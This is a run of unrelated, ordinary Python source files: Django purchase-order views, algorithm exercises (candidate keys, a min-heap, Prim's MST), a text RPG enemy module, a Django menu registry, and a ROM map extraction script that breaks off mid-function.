from django.contrib import messages
from django.http import HttpResponseRedirect
from django.urls import reverse
from django.utils.timezone import localdate
from django.utils.translation import gettext_lazy as _
from django.views.generic import (CreateView, ArchiveIndexView, YearArchiveView, MonthArchiveView, DetailView,
                                  UpdateView, DeleteView)

from django_ledger.forms.purchase_order import PurchaseOrderModelCreateForm, PurchaseOrderModelUpdateForm, \
    get_po_item_formset
from django_ledger.models import PurchaseOrderModel, ItemThroughModel
from django_ledger.views.mixins import LoginRequiredMixIn

class PurchaseOrderModelListView(LoginRequiredMixIn, ArchiveIndexView):
    template_name = 'django_ledger/po_list.html'
    context_object_name = 'po_list'
    PAGE_TITLE = _('PO List')
    date_field = 'po_date'
    paginate_by = 10
    paginate_orphans = 2
    allow_empty = True
    extra_context = {
        'page_title': PAGE_TITLE,
        'header_title': PAGE_TITLE,
        'header_subtitle_icon': 'uil:bill'
    }

    def get_queryset(self):
        return PurchaseOrderModel.objects.for_entity(
            entity_slug=self.kwargs['entity_slug'],
            user_model=self.request.user
        ).order_by('-po_date')

    def get_allow_future(self):
        allow_future = self.request.GET.get('allow_future')
        if allow_future:
            try:
                allow_future = int(allow_future)
                if allow_future in (0, 1):
                    return bool(allow_future)
            except ValueError:
                pass
        return False

class PurchaseOrderModelYearListView(YearArchiveView, PurchaseOrderModelListView):
    paginate_by = 10
    make_object_list = True

class PurchaseOrderModelMonthListView(MonthArchiveView, PurchaseOrderModelListView):
    paginate_by = 10
    month_format = '%m'
    date_list_period = 'year'

class PurchaseOrderModelCreateView(LoginRequiredMixIn, CreateView):
    template_name = 'django_ledger/po_create.html'
    PAGE_TITLE = _('Create Purchase Order')
    extra_context = {
        'page_title': PAGE_TITLE,
        'header_title': PAGE_TITLE,
        'header_subtitle_icon': 'uil:bill'
    }

    def get_initial(self):
        return {
            'for_inventory': False,
            'po_date': localdate()
        }

    def get_form(self, form_class=None):
        entity_slug = self.kwargs['entity_slug']
        form = PurchaseOrderModelCreateForm(entity_slug=entity_slug,
                                            user_model=self.request.user,
                                            **self.get_form_kwargs())
        return form

    def form_valid(self, form):
        po_model: PurchaseOrderModel = form.save(commit=False)
        po_model = po_model.configure(
            entity_slug=self.kwargs['entity_slug'],
            user_model=self.request.user,
        )
        form.instance = po_model
        return super().form_valid(form=form)

    def get_success_url(self):
        entity_slug = self.kwargs.get('entity_slug')
        return reverse('django_ledger:po-list',
                       kwargs={
                           'entity_slug': entity_slug
                       })

class PurchaseOrderModelUpdateView(LoginRequiredMixIn, UpdateView):
    slug_url_kwarg = 'po_pk'
    slug_field = 'uuid'
    context_object_name = 'po_model'
    template_name = 'django_ledger/po_update.html'
    extra_context = {
        'header_subtitle_icon': 'uil:bill'
    }

    update_items = False
    create_bills = False
    mark_as_fulfilled = False

    def get(self, request, *args, **kwargs):
        self.object = self.get_object()
        po_model: PurchaseOrderModel = self.object
        if self.mark_as_fulfilled:
            po_model.mark_as_fulfilled(commit=True)
            messages.add_message(request,
                                 level=messages.SUCCESS,
                                 message=f'Successfully marked {po_model.po_number} as fulfilled.',
                                 extra_tags='is-success')
            return HttpResponseRedirect(
                redirect_to=reverse('django_ledger:po-update',
                                    kwargs={
                                        'entity_slug': self.kwargs['entity_slug'],
                                        'po_pk': self.kwargs['po_pk']
                                    }))
        return super().get(request, *args, **kwargs)

    def post(self, request, entity_slug, *args, **kwargs):
        self.object = self.get_object()
        po_model: PurchaseOrderModel = self.object
        if self.update_items:
            PurchaseOrderItemFormset = get_po_item_formset(po_model)
            po_item_formset: PurchaseOrderItemFormset = PurchaseOrderItemFormset(request.POST,
                                                                                user_model=self.request.user,
                                                                                po_model=po_model,
                                                                                entity_slug=entity_slug)

            context = self.get_context_data(item_formset=po_item_formset)

            if po_item_formset.is_valid():
                if po_item_formset.has_changed():
                    po_items = po_item_formset.save(commit=False)
                    all_received = all([
                        i['po_item_status'] == ItemThroughModel.STATUS_RECEIVED
                        for i in po_item_formset.cleaned_data if i
                    ])

                    for f in po_item_formset.forms:
                        i: ItemThroughModel = f.instance
                        if i:
                            if all([
                                i.po_item_status in [
                                    ItemThroughModel.STATUS_RECEIVED,
                                    ItemThroughModel.STATUS_IN_TRANSIT
                                ],
                                i.bill_model is None
                            ]):
                                messages.add_message(
                                    request=self.request,
                                    level=messages.ERROR,
                                    message=f'Item {i.item_model.__str__()} must be billed'
                                            f' before {i.get_po_item_status_display()}...',
                                    extra_tags='is-danger')
                                return self.render_to_response(context)

                    if all_received and po_model.fulfillment_date:

                        all_bills_paid = all([
                            f.instance.bill_model.paid_date for f in po_item_formset.forms
                        ])

                        if not all_bills_paid:
                            messages.add_message(
                                request=self.request,
                                level=messages.ERROR,
                                message=f'All Bills must be paid before PO being fulfilled..',
                                extra_tags='is-danger')
                            return self.render_to_response(context)

                    elif all_received and not po_model.fulfillment_date:
                        po_model.fulfillment_date = localdate()
                        po_model.fulfilled = True
                        po_model.clean()
                        po_model.save(update_fields=[
                            'fulfillment_date',
                            'fulfilled',
                            'updated'
                        ])

                    create_bill_uuids = [
                        str(i['uuid'].uuid) for i in po_item_formset.cleaned_data if i and i['create_bill'] is True
                    ]

                    if create_bill_uuids:
                        item_uuids = ','.join(create_bill_uuids)
                        redirect_url = reverse(
                            'django_ledger:bill-create-po',
                            kwargs={
                                'entity_slug': self.kwargs['entity_slug'],
                                'po_pk': po_model.uuid,
                            }
                        )
                        redirect_url += f'?item_uuids={item_uuids}'
                        return HttpResponseRedirect(redirect_url)

                    for item in po_items:
                        if not item.po_model:
                            item.po_model = po_model
                    po_item_formset.save()
                    po_model.update_po_state()
                    po_model.clean()
                    po_model.save(update_fields=['po_amount',
                                                 'po_amount_received',
                                                 'updated'])

            else:
                return self.render_to_response(context)
        elif self.mark_as_fulfilled:
            po_model.mark_as_fulfilled(commit=True, date=localdate())
        # fixme: the super call needs to be executed first...?
        return super().post(request, *args, **kwargs)

    def get_form(self, form_class=None):
        return PurchaseOrderModelUpdateForm(
            entity_slug=self.kwargs['entity_slug'],
            user_model=self.request.user,
            **self.get_form_kwargs()
        )

    def get_form_kwargs(self):
        if self.update_items:
            return {
                'initial': self.get_initial(),
                'prefix': self.get_prefix(),
                'instance': self.object
            }
        return super(PurchaseOrderModelUpdateView, self).get_form_kwargs()

    def get_context_data(self, *, object_list=None, item_formset=None, **kwargs):
        context = super().get_context_data(object_list=object_list, **kwargs)
        po_model: PurchaseOrderModel = self.object
        title = f'Purchase Order {po_model.po_number}'
        context['page_title'] = title
        context['header_title'] = title
        if not item_formset:
            po_item_queryset, item_data = po_model.get_po_item_data(
                queryset=po_model.itemthroughmodel_set.select_related('bill_model', 'po_model').order_by(
                    'created'
                )
            )
            PurchaseOrderItemFormset = get_po_item_formset(po_model)
            context['item_formset'] = PurchaseOrderItemFormset(
                entity_slug=self.kwargs['entity_slug'],
                user_model=self.request.user,
                po_model=po_model,
                queryset=po_item_queryset,
            )
            context['total_amount_due'] = item_data['amount_due']
            context['total_paid'] = item_data['total_paid']
        else:
            context['item_formset'] = item_formset
            context['total_amount_due'] = po_model.po_amount
        return context

    def get_success_url(self):
        entity_slug = self.kwargs['entity_slug']
        po_pk = self.kwargs['po_pk']
        return reverse('django_ledger:po-update',
                       kwargs={
                           'entity_slug': entity_slug,
                           'po_pk': po_pk
                       })

    def get_queryset(self):
        return PurchaseOrderModel.objects.for_entity(
            entity_slug=self.kwargs['entity_slug'],
            user_model=self.request.user
        ).select_related('entity')

    def form_valid(self, form: PurchaseOrderModelUpdateForm):
        po_model: PurchaseOrderModel = form.save(commit=False)

        if form.has_changed():
            po_items_qs = ItemThroughModel.objects.for_po(
                entity_slug=self.kwargs['entity_slug'],
                user_model=self.request.user,
                po_pk=po_model.uuid,
            ).select_related('bill_model')

            if all(['po_status' in form.changed_data,
                    po_model.po_status == po_model.PO_STATUS_APPROVED]):
                po_items_qs.update(po_item_status=ItemThroughModel.STATUS_NOT_ORDERED)

            if 'fulfilled' in form.changed_data:

                if not all([i.bill_model for i in po_items_qs]):
                    messages.add_message(self.request,
                                         messages.ERROR,
                                         f'All PO items must be billed before marking'
                                         f' PO: {po_model.po_number} as fulfilled.',
                                         extra_tags='is-danger')
                    return self.get(self.request)

                else:
                    if not all([i.bill_model.paid for i in po_items_qs]):
                        messages.add_message(self.request,
                                             messages.SUCCESS,
                                             f'All bills must be paid before marking'
                                             f' PO: {po_model.po_number} as fulfilled.',
                                             extra_tags='is-success')
                        return self.get(self.request)

                po_items_qs.update(po_item_status=ItemThroughModel.STATUS_RECEIVED)

        messages.add_message(self.request,
                             messages.SUCCESS,
                             f'{self.object.po_number} successfully updated.',
                             extra_tags='is-success')
        return super().form_valid(form)

class PurchaseOrderModelDetailView(LoginRequiredMixIn, DetailView):
    slug_url_kwarg = 'po_pk'
    slug_field = 'uuid'
    context_object_name = 'po_model'
    template_name = 'django_ledger/po_detail.html'
    extra_context = {
        'header_subtitle_icon': 'uil:bill',
        'hide_menu': True
    }

    def get_context_data(self, *, object_list=None, **kwargs):
        context = super().get_context_data(object_list=object_list, **kwargs)
        po_model: PurchaseOrderModel = self.object
        title = f'Purchase Order {po_model.po_number}'
        context['page_title'] = title
        context['header_title'] = title

        po_model: PurchaseOrderModel = self.object
        po_items_qs, item_data = po_model.get_po_item_data(
            queryset=po_model.itemthroughmodel_set.all().select_related('item_model')
        )
        context['po_items'] = po_items_qs
        context['po_total_amount'] = sum(
            i['po_total_amount'] for i in po_items_qs.values(
                'po_total_amount', 'po_item_status') if i['po_item_status'] != 'cancelled')
        return context

    def get_queryset(self):
        return PurchaseOrderModel.objects.for_entity(
            entity_slug=self.kwargs['entity_slug'],
            user_model=self.request.user
        )

class PurchaseOrderModelDeleteView(LoginRequiredMixIn, DeleteView):
    slug_url_kwarg = 'po_pk'
    slug_field = 'uuid'
    context_object_name = 'po_model'
    template_name = 'django_ledger/po_delete.html'
    extra_context = {
        'hide_menu': True,
        'header_subtitle_icon': 'uil:bill'
    }

    def get_context_data(self, *, object_list=None, **kwargs):
        context = super().get_context_data(object_list=object_list, **kwargs)
        po_model: PurchaseOrderModel = self.object
        context['page_title'] = _('Delete Purchase Order ') + po_model.po_number
        context['header_title'] = context['page_title']
        return context

    def get_queryset(self):
        return PurchaseOrderModel.objects.for_entity(
            entity_slug=self.kwargs['entity_slug'],
            user_model=self.request.user
        )

    def get_success_url(self):
        return reverse('django_ledger:entity-dashboard',
                       kwargs={
                           'entity_slug': self.kwargs['entity_slug'],
                       })

    def delete(self, request, *args, **kwargs):
        po_model: PurchaseOrderModel = self.get_object()
        self.object = po_model
        po_items_qs = po_model.itemthroughmodel_set.filter(bill_model__isnull=False)
        if po_items_qs.exists():
            messages.add_message(request,
                                 message=f'Cannot delete {po_model.po_number} because it has related bills.',
                                 level=messages.ERROR,
                                 extra_tags='is-danger')
            url = reverse('django_ledger:po-update',
                          kwargs={
                              'entity_slug': self.kwargs['entity_slug'],
                              'po_pk': self.kwargs['po_pk']
                          })
            return HttpResponseRedirect(url)
        success_url = self.get_success_url()
        self.object.delete()
        return HttpResponseRedirect(success_url)


from itertools import combinations

def solution(relation):
    answer = 0
    table = [[] for _ in range(len(relation[0]))]
    for r in relation:
        for i in range(len(r)):
            table[i].append(r[i])

    cols = [i for i in range(len(table))]
    uni = []

    for i in range(1, len(table)+1):
        combs = combinations(cols, i)
        for comb in combs:
            arr = []
            for j in range(len(relation)):
                temp = []
                for c in comb:
                    temp.append(table[c][j])
                arr.append(tuple(temp))
            if len(arr) == len(set(arr)):
                uni.append(comb)

    while uni:
        cur = set(uni.pop(0))
        answer += 1
        erase = []
        for comb in uni:
            if cur.issubset(set(comb)):
                erase.append(comb)
        for comb in erase:
            uni.remove(comb)

    return answer


class Soldier:
    def __init__(self,name,score,pos):
        self.name=name
        self.score=score
        self.pos=pos

class MinHeap(object):

    def __init__(self,maxsize=100):
        self.length = 0
        self.array = ['']*maxsize
        self.soldier={}

    def _length__(self):
        return self.length

    def add(self, name,score):
        s=Soldier(name,score,self.length)
        self.soldier[name]=s
        self.array[self.length] = name
        if self.length > 0:
            self._siftup(self.length)
        self.length += 1

    def getScore(self,index):
        return self.soldier[self.array[index]].score

    def _siftup(self, index):
        parent_index = int((index - 1) / 2)
        if parent_index >= 0:
            if self.getScore(index) < self.getScore(parent_index):
                self.array[index], self.array[parent_index] = self.array[parent_index], self.array[index]
                self.soldier[self.array[index]].pos,self.soldier[self.array[parent_index]].pos=self.soldier[self.array[parent_index]].pos,self.soldier[self.array[index]].pos
                self._siftup(parent_index)

    def _siftdown(self, root_index):
        min_index = root_index
        left = int(root_index * 2 + 1)
        right = int(root_index * 2 + 2)
        if left < self.length and  self.getScore(left)<self.getScore(min_index):
            min_index = left
        if right < self.length  and self.getScore(right) <self.getScore(min_index):
            min_index = right
        if root_index != min_index:
            self.array[root_index], self.array[min_index] = self.array[min_index], self.array[root_index]
            self.soldier[self.array[root_index]].pos, self.soldier[self.array[min_index]].pos = self.soldier[self.array[
                min_index]].pos, self.soldier[self.array[root_index]].pos
            self._siftdown(min_index)

    def extrace(self):
        if self.length < 0:
            raise Exception("Empty Heap")
        self.length -= 1
        value = self.array[0]
        self.soldier[self.array[0]].pos = -1
        self.array[0] = self.array[self.length]
        self.soldier[self.array[self.length]].pos=0
        self._siftdown(0)
        return value

    def select(self, standard):
        while True:
            s=self.getScore(0)
            if s<standard:
                self.extrace()
            else:
                break
        print(self.length)

    def impove(self,name,s):
        self.soldier[name].score+=s
        p=self.soldier[name].pos
        self._siftdown(p)

n = int(input())
heap=MinHeap(n)
for i in range(n):
    s = input().split(' ')
    heap.add(s[0],int(s[1]))
n = int(input())
for i in range(n):
    s = input().split(' ')
    if len(s) == 3:
        heap.impove(s[1],int(s[2]))
    else:
        standard = int(s[1])
        heap.select(standard)


import heapq, math

def prim(v,graph,start_node):
  MST=[[] for _ in range(v+1)]
  distance=[math.inf] * (v+1)
  path=[-1] * (v+1)

  visited=[False] * (v+1)
  result=0
  edges=[]

  distance[start_node]=0
  heapq.heappush(edges,(0,start_node))

  for _ in range(v):
    cost,vertex=heapq.heappop(edges)
    visited[vertex]=True
    for weight,adj_vertex in graph[vertex]:

      if visited[adj_vertex]:
        continue

      if distance[adj_vertex] > weight:
        distance[adj_vertex]=weight
        path[adj_vertex]=vertex
        heapq.heappush(edges,(weight,adj_vertex))

  result=sum(distance[2:])
  for i in range(2,v+1):
    weight,vertex=distance[i],path[i]
    MST[i].append((weight,vertex))
    MST[vertex].append((weight,i))

  return MST,result

if __name__ == "__main__":
  v,e=0,0
  graph=[]

  with open("data1.txt","r") as file:
    v,e=map(int,file.readline().split())
    graph=[[] for _ in range(v+1)]
    for _ in range(e):
      v1,v2,cost=map(int,file.readline().split())
      graph[v1].append((cost,v2))
      graph[v2].append((cost,v1))

  MST,result=prim(v,graph,1)
  print(MST,result)


"""
Miscellaneous utility functions.
"""

from pathlib import Path
from time import perf_counter
from typing import Any, Callable, Dict

def full_path(relative_path: str) -> Path:
    return Path(relative_path).resolve()

def measure_duration(f: Callable) -> Callable:
    """Decorator to measure function execution time. For use with `collect/tally.py`"""

    def measured_function(*args) -> None:
        start = perf_counter()
        result = f(*args)
        end = perf_counter()

        secs = round(end - start)
        mins = int(secs / 60)
        if mins > 0:
            duration = f'{mins}m {secs % mins}s'
        else:
            duration = f'{secs}s'
        print(f'done ({duration})')

        return result

    return measured_function

def pretty_dumps(d: Dict[str, Any]) -> str:
    delimiter = '", "'
    return f'["{delimiter.join(sorted(d))}"]'


# -*- coding: utf-8 -*-
"""
Created on Tue May 12 18:10:30 2020

@author: jesse
"""

import player
import tools
import equipment
import dungeons

Null = {
    "name": "null",
    "healthCap": 0,
    "healthCur": 0,
    "strength": 0,
    "weapon": {"name": "null", "damage": 0, "weight": 0},
    "speed": 0,
    "intelligence": 0,
    "loot": ["gold", 0]
}

Brownie = {
    "name": "brownie",
    "healthCap": 3,
    "healthCur": 3,
    "strength": 2,
    "weapon": equipment.Claws,
    "armor": 1,
    "speed": 1,
    "intelligence": 1,
    "loot": ["gold", 9]
}

FeralVole = {
    "name": "feral vole",
    "healthCap": 3,
    "healthCur": 3,
    "strength": 4,
    "weapon": equipment.Claws,
    "armor": 1,
    "speed": 3,
    "intelligence": 1,
    "loot": ["gold", 2]
}

Goblin = {
    "name": "goblin",
    "healthCap": 5,
    "healthCur": 5,
    "strength": 8,
    "weapon": equipment.Dagger,
    "armor": 4,
    "speed": 3,
    "intelligence": 2,
    "loot": ["gold", 18]
}

Golem = {
    "name": "obsidian golem",
    "healthCap": 8,
    "healthCur": 8,
    "strength": 1000,
    "weapon": equipment.Fists,
    "armor": 22,
    "speed": 0,
    "intelligence": 1,
    "loot": ["gold", 117]
}

JuvenileBasilisk = {
    "name": "juvenile basilisk",
    "healthCap": 4,
    "healthCur": 4,
    "strength": 4,
    "weapon": equipment.Fangs,
    "armor": 2,
    "speed": 8,
    "intelligence": 1,
    "loot": ["gold", 59],
    "ability": "venom bite",
}

def venomBite(playerDamaged, action):
    maxDuration = 6

    if action == "attack":
        if playerDamaged:
            if player.TheHero["statusEffect"]:
                if player.TheHero["statusEffect"]["name"] == "envenomated":
                    player.TheHero["statusEffect"]["duration"] += 2
                    if player.TheHero["statusEffect"]["duration"] > maxDuration:
                        player.TheHero["statusEffect"]["duration"] = 6
            else:
                player.TheHero["statusEffect"] = {"name": "envenomated", "duration": 3}
                tools.inputIndent("*You have been envenomated*")

UndeadWarrior = {
    "name": "undead warrior",
    "healthCap": 15,
    "healthCur": 8,
    "strength": 0,
    "weapon": equipment.LongSword,
    "armor": 8,
    "speed": 1,
    "intelligence": 1,
    "loot": ["gold", 12]
}

GoblinChieftain = {
    "name": "goblin chieftain",
    "healthCap": 20,
    "healthCur": 20,
    "strength": 30,
    "weapon": equipment.Fists,
    "armor": 8,
    "speed": 3,
    "intelligence": 2,
    "loot": ["gold", 144],
    "ability": "enrage",
    "enraged": False
}

def enrage(newGoblinChieftain):
    tools.clear()
    if newGoblinChieftain["healthCur"] <= 6 and not newGoblinChieftain["enraged"]:
        tools.inputIndent("The goblin chieftain enrages", 20, 8)
        newGoblinChieftain["strength"] = 1000
        newGoblinChieftain["enraged"] = True

    return True

SpectralSandworm = {
    "name": "spectral sandworm",
    "healthCap": 50,
    "healthCur": 50,
    "strength": 50,
    "weapon": equipment.SerratedTeeth,
    "armor": 0,
    "speed": 9,
    "intelligence": 1,
    "loot": ["gold", 3430],
    "ability": "burrowAndFlee",
    "healthRegen": 0,
    "stages": {"stage1": False, "stage2": False, "stage3": False},
    "location": "TE"
}

def getSpectralSandwormLocation():
    if player.TheHero["position"]["subLocation"] == SpectralSandworm["location"]:
        if not dungeons.SunkenCitadel["bossDefeated"]:
            if SpectralSandworm["healthCur"] + round(SpectralSandworm["healthRegen"]/2) >= SpectralSandworm["healthCap"]:
                SpectralSandworm["healthCur"] = SpectralSandworm["healthCap"]
                SpectralSandworm["healthRegen"] = 0
            else:
                SpectralSandworm["healthCur"] += round(SpectralSandworm["healthRegen"]/2)
                SpectralSandworm["healthRegen"] = 0
            encounter(SpectralSandworm)

    if SpectralSandworm["stages"]["stage1"] and not SpectralSandworm["stages"]["stage2"] and not SpectralSandworm["stages"]["stage3"]:
        # input("stage 1, some regen")
        SpectralSandworm["healthRegen"] += 1
    elif SpectralSandworm["stages"]["stage2"] and not SpectralSandworm["stages"]["stage3"]:
        # input("stage 2, more regen")
        SpectralSandworm["healthRegen"] += 2
    elif SpectralSandworm["stages"]["stage3"]:
        # input("stage 3, much regen")
        SpectralSandworm["healthRegen"] += 3

    if player.TheHero["healthCur"] < 1:
        return False

def burrowAndFlee(newSpectralSandworm):

    if newSpectralSandworm["healthCur"] <= 0:
        SpectralSandworm["healthCur"] = newSpectralSandworm["healthCur"]
        dungeons.SunkenCitadel["bossDefeated"] = True
        tools.clear()
        tools.inputIndent("You have conquered the Sunken Citadel!", 30, 10)
        tools.saveInfo()
        return True

    elif newSpectralSandworm["healthCur"] <= 5 and not newSpectralSandworm["stages"]["stage3"]:
        SpectralSandworm["healthCur"] = newSpectralSandworm["healthCur"]
        SpectralSandworm["stages"]["stage3"] = True
        SpectralSandworm["speed"] = 0
        SpectralSandworm["location"] = "D5"
        tools.clear()
        tools.inputIndent("The spectral sandworm flees to another location", 20, 8)

    elif newSpectralSandworm["healthCur"] <= 25 and not newSpectralSandworm["stages"]["stage2"]:
        SpectralSandworm["healthCur"] = newSpectralSandworm["healthCur"]
        SpectralSandworm["stages"]["stage2"] = True
        SpectralSandworm["speed"] = 5
        SpectralSandworm["location"] = "D2"
        tools.clear()
        tools.inputIndent("The spectral sandworm flees to another location", 20, 8)

    elif newSpectralSandworm["healthCur"] <= 35 and not newSpectralSandworm["stages"]["stage1"]:
        SpectralSandworm["healthCur"] = newSpectralSandworm["healthCur"]
        SpectralSandworm["stages"]["stage1"] = True
        SpectralSandworm["speed"] = 8
        SpectralSandworm["location"] = "D1"
        tools.clear()
        tools.inputIndent("The spectral sandworm flees to another location", 20, 8)

    else:
        return True

    return False

def restoreSandwormState():
    if not dungeons.SunkenCitadel["bossDefeated"]:
        SpectralSandworm["healthCur"] = 50
        SpectralSandworm["stages"] = {"stage1": False, "stage2": False, "stage3": False}
        SpectralSandworm["healthRegen"] = 0
        SpectralSandworm["healthRegen"] = 9
        SpectralSandworm["location"] = "TE"

def determineAbility(enemy, playerDamaged, enemyDamaged, action):
    if enemy["name"] == "spectral sandworm":
        return burrowAndFlee(enemy)

    elif enemy["name"] == "goblin chieftain":
        return enrage(enemy)

    elif enemy["name"] == "juvenile basilisk":
        venomBite(playerDamaged, action)

    return True

def encounter(enemy, *travelEncounter):
    tools.clear()
    newEnemy = enemy.copy()
    fighting = True

    if player.TheHero["speed"] > enemy["speed"]:
        action = "attack"
    else:
        action = "block"

    if action == "attack":
        tools.printIndent("", numNewLinesBefore=9)
        tools.printIndent(tools.swordArt, 0)
    else:
        tools.printIndent("", numNewLinesBefore=9)
        tools.printIndent(tools.shieldArt, 0)

    print("\n" * 2, end="")
    print(" " * 34 + "You've encountered a " + newEnemy["name"] + ". ", end="")

    if travelEncounter != (): # NEED TO MAKE FLEE CHANCE BASED ON SPEED STAT DIFF, LOOK IN NOTES FOR DETAILS
        print("\n"*8 + " "*2 + "[A]ttempt to flee | [Enter] to stand fight")
        selected = input("\n    I will: ")
        if selected.lower() == "a":
            if player.TheHero["staminaCur"] >= 1:
                player.TheHero["staminaCur"] -= 1
                input(" "*2 + "Fled successfully")
                tools.clear()
                print("\n" * 13, end="")
                return
            else:
                input(" " * 2 + "Cannot flee without sufficient stamina..." + " Prepare to " + action + "!")
                # input(" " * 34 + "Prepare to " + action + "!\n")
    else:
        input("Prepare to " + action + "!\n")

    while newEnemy["healthCur"] > 0 and player.TheHero["healthCur"] > 0:
        enemyDamaged = False
        playerDamaged = False

        tools.gameTick(action)

        if action == "attack":
            enemyDamaged = tools.attackBlock(newEnemy, action)
            action = "block"
        else:
            playerDamaged = tools.attackBlock(newEnemy, action)
            action = "attack"

        if player.TheHero["healthCur"] < 1:
            return False

        if newEnemy.get("ability"):
            fighting = determineAbility(newEnemy, playerDamaged, enemyDamaged, action)
            if not fighting:
                return

    player.acquireLoot(newEnemy)
    tools.clear()
    print("\n" * 13, end="")


import htmlgenerator as hg
from django.contrib.auth.models import Group as DjangoGroup
from django.contrib.auth.models import User
from django.utils.functional import Promise
from django.utils.translation import gettext_lazy as _

from . import utils
from .layout import DEVMODE_KEY

class Group:
    def __init__(
        self,
        label,
        iconname=None,
        permissions=[],
        order=None,
        sort_alphabetically=False,
        force_show=False,
    ):
        self.label = label
        self.iconname = iconname or "folder"
        self.permissions = permissions
        self._order = order
        self.items = []
        self.sort_alphabetically = sort_alphabetically
        self.force_show = force_show

    def __lt__(self, other):
        if self._order is None:
            if other._order is None:
                return False
            return 0 < other._order
        if other._order is None:
            return self._order < 0
        return self._order < other._order

    def val(self):
        if self._order is None:
            return self.label
        return str(self._order) if self._order >= 0 else str(self._order)

    def has_permission(self, context):
        return (
            all((context["request"].user.has_perm(perm) for perm in self.permissions))
            and self.items
            and any((item.has_permission(context) for item in self.items))
        )

    def active(self, request):
        return any(item.active(request) for item in self.items)

class Item:
    def __init__(self, link, group, order=None):
        if not isinstance(link, utils.Link):
            raise ValueError(
                f"argument 'link' must be of type {utils.Link} but is of type {type(link)}"
            )
        self.link = link
        self.group = group
        self._order = order

    def __lt__(self, other):
        if self.group and self.group.sort_alphabetically:
            return self.link.label.lower() < other.link.label.lower()
        if self._order is None:
            if other._order is None:
                return False
            return 0 < other._order
        if other._order is None:
            return self._order < 0
        return self._order < other._order

    def has_permission(self, context):
        return self.link.has_permission(context)

    def active(self, context):
        path = str(hg.resolve_lazy(self.link.href, context))
        return context["request"].path.startswith(path) and path != "/"

class Menu:
    def __init__(self):
        self._registry = {}

    def registeritem(self, menuitem):
        """
        If menuitem.group is None this will be a top-level menu item.
        Otherwise the group will be created (if a group with the same
        label does not exists yet) and the menuitem appended to the group
        """
        if menuitem.group is None:
            if menuitem.link.label in self._registry:
                raise ValueError(
                    f"Top-level menu item {menuitem} already exists in menu"
                )
            self._registry[menuitem.link.label] = menuitem
        else:
            group = menuitem.group
            if isinstance(group, (str, Promise)):
                group = Group(label=group)
                menuitem.group = group
            if group.label not in self._registry:
                self._registry[group.label] = group
            self._registry[group.label].items.append(menuitem)

class DevGroup(Group):
    def has_permission(self, context):
        return super().has_permission(context) and context["request"].session.get(
            DEVMODE_KEY, False
        )

class SuperUserItem(Item):
    def has_permission(self, context):
        return super().has_permission(context) and context["request"].user.is_superuser

def registeritem(item):
    main.registeritem(item)
    return item

# global main menu
main = Menu()

settingsgroup = Group(_("Settings"), iconname="settings", order=100)
usergroup = Group(_("Users"), iconname="user", order=101)

registeritem(
    Item(
        utils.Link(
            utils.reverse_model(User, "browse"),
            User._meta.verbose_name_plural,
            permissions=[utils.permissionname(User, "view")],
        ),
        usergroup,
    )
)
registeritem(
    Item(
        utils.Link(
            utils.reverse_model(DjangoGroup, "browse"),
            DjangoGroup._meta.verbose_name_plural,
            permissions=[utils.permissionname(DjangoGroup, "view")],
        ),
        usergroup,
    )
)
registeritem(
    Item(
        utils.Link(
            utils.reverse("preferences:global"),
            _("Global preferences"),
            permissions=[
                "dynamic_preferences.change_globalpreferencemodel",
                "dynamic_preferences.view_globalpreferencemodel",
            ],
        ),
        settingsgroup,
    )
)

# The Administration items are registered by default.
admingroup = DevGroup(_("Administration"), iconname="network--3--reference", order=500)
registeritem(
    Item(
        utils.Link(
            utils.reverse("django_celery_results.taskresult.browse"),
            _("Background Jobs"),
        ),
        admingroup,
    )
)
registeritem(
    Item(
        utils.Link(
            utils.reverse("datamodel"),
            _("Data model"),
        ),
        admingroup,
    )
)

registeritem(
    SuperUserItem(
        utils.Link(
            utils.reverse("basxbreadadmin.maintenance"),
            _("Maintenance"),
        ),
        admingroup,
    )
)

registeritem(
    Item(
        utils.Link(
            utils.reverse("systeminformation"),
            _("System Information"),
        ),
        admingroup,
    )
)


from __future__ import print_function
from __future__ import absolute_import
#author: Bryan Bishop <kanzure@gmail.com>
#date: 2012-01-03
#purpose: extract .blk files from baserom.gbc
#note: use python2.7 because of subprocess in analyze_incbins
from . import extract_maps #rom, assert_rom, load_rom, calculate_pointer, load_map_pointers, read_all_map_headers, map_headers
from .pretty_map_headers import map_name_cleaner
from .analyze_incbins import asm, offset_to_pointer, find_incbin_to_replace_for, split_incbin_line_into_three, generate_diff_insert, load_asm, isolate_incbins, process_incbins
from . import analyze_incbins
import os, sys
import subprocess
spacing = "	"

used_map_pointers = []

def extract_map_block_data(map_id, savefile=False):
    map = extract_maps.map_headers[map_id]
    if map["name"] == "FREEZE": return #skip this one

    blocksdata_pointer = int(map["map_pointer"], 16)

    y = int(map["y"], 16)
    x = int(map["x"], 16)
    size = x*y

    #fetch the data from the rom
    blocksdata = extract_maps.rom[blocksdata_pointer:blocksdata_pointer+size]

    #clean up the filename and label (for pokered.asm)
    cleaned_name = map_name_cleaner(map["name"], None)
    label_text = cleaned_name.replace("_h", "Blocks")
    filename = cleaned_name.replace("_h", "").lower()
    full_filepath = "maps/" + filename + ".blk"

    if savefile:
        print("Saving ../maps/" + filename + ".blk for map id=" + str(map_id))
        fh = open("../maps/" + filename + ".blk", "w")
        fh.write(blocksdata)
        fh.close()

def make_labels(name):
    cleaned_name = map_name_cleaner(name, None)
    label_text = cleaned_name.replace("_h", "Blocks")
    filename = cleaned_name.replace("_h", "").lower()
    full_filepath = "maps/" + filename + ".blk"
    return cleaned_name, label_text, filename, full_filepath

def generate_label_asm(name,size=None):
    cleaned_name, label_text, filename, full_filepath = make_labels(name)

    output = label_text + ":"
    if size: output += " ; " + str(size) + "\n"
    else: output += "\n"
    output += spacing + "INCBIN \"" + full_filepath + "\""

    return output

def insert_map_block_label(map_id):
    map = extract_maps.map_headers[map_id]
    address = int(map["map_pointer"], 16)
    y = int(map["y"], 16)
    x = int(map["x"], 16)
    size = x*y

    print("map name: " + map["name"])
    print("map address: " + map["map_pointer"])

    line_number = find_incbin_to_replace_for(address)
    if line_number == None:
        print("skipping map id=" + str(map_id) + " probably because it was already done.")
        used_map_pointers.append(map["map_pointer"])
        return

    newlines = split_incbin_line_into_three(line_number, address, size)

    label_asm = generate_label_asm(map["name"], size)

    newlines = newlines.split("\n")
    if len(newlines) == 2: index = 0 #replace the 1st line with new content
    elif len(newlines) == 3: index = 1 #replace the 2nd line with new content

    newlines[index] = label_asm

    if len(newlines) == 3 and newlines[2][-2:] == "$0":
        #get rid of the last incbin line if it is only including 0 bytes
        del newlines[2]
        #note that this has to be done after adding in the new asm
    newlines = "\n".join(line for line in newlines)

    #fix a lame error from somewhere
